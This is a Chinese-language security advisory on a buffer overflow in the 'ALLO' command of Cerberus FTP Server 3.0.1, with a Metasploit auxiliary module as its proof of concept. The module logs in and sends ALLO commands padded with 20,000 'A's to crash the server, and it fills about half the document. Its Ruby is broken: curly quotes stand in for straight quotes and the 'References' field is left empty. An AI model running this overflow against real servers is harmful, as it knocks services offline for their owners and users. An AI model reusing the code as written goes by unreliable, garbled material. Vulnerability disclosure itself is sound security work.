Cerberus FTP Server ‘ALLO’命令缓冲区溢出漏洞

漏洞起因
边界条件错误
 
影响系统
Cerberus FTP Server 3.0.1
 
不受影响系统
 
危害
远程攻击者可以利用漏洞以应用程序权限执行任意指令。
 
攻击所需条件
攻击者必须访问Cerberus FTP Server。
 
漏洞信息
Cerberus FTP Server是一款FTP服务程序。
Cerberus FTP Server不正确处理’ALLO’命令参数,远程攻击者可以利用漏洞进行缓冲区溢出攻击,可能以应用程序权限执行任意指令。
攻击者需要一个合法帐户,登录服务器后提交特殊构建的’ALLO’命令来触发。
 
测试方法
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
 include Msf::Exploit::Remote::Ftp
 include Msf::Auxiliary::Dos
 
 def initialize(info = {})
  super(update_info(info, 
   ‘Name’           => ‘Cerberus FTP command ALLO overflow’,
   ‘Description’    => %q{
     You need to have a valid login
    so you can run ALLO command.
   },
   ‘Author’         => ‘Francis Provencher "Protek Research Lab’s",
   ‘License’        => MSF_LICENSE,
   ‘Version’        => ‘1’,
   ‘References’     =>
    
   ‘DisclosureDate’ => ‘Aug 24 2009’))
  # They’re required
  register_options([
   OptString.new(‘FTPUSER’, [ true, ‘Valid FTP username’, ‘anonymous’ ]),
   OptString.new(‘FTPPASS’, [ true, ‘Valid FTP password for username’, ‘anonymous’ ])
  ])
 end
 def run
  return unless connect_login
  print_status("Sending commands…")
  # We want to try to wait for responses to these
  raw_send("ALLO #{‘A’ * 20000}\r\n")
  raw_send("ALLO #{‘A’ * 20000}\r\n")
  disconnect
 end
end
 
厂商解决方案
目前没有详细解决方案提供:
http://www.cerberusftp.com/index.html
 
漏洞提供者
Francis Provencher from Protek Research Labs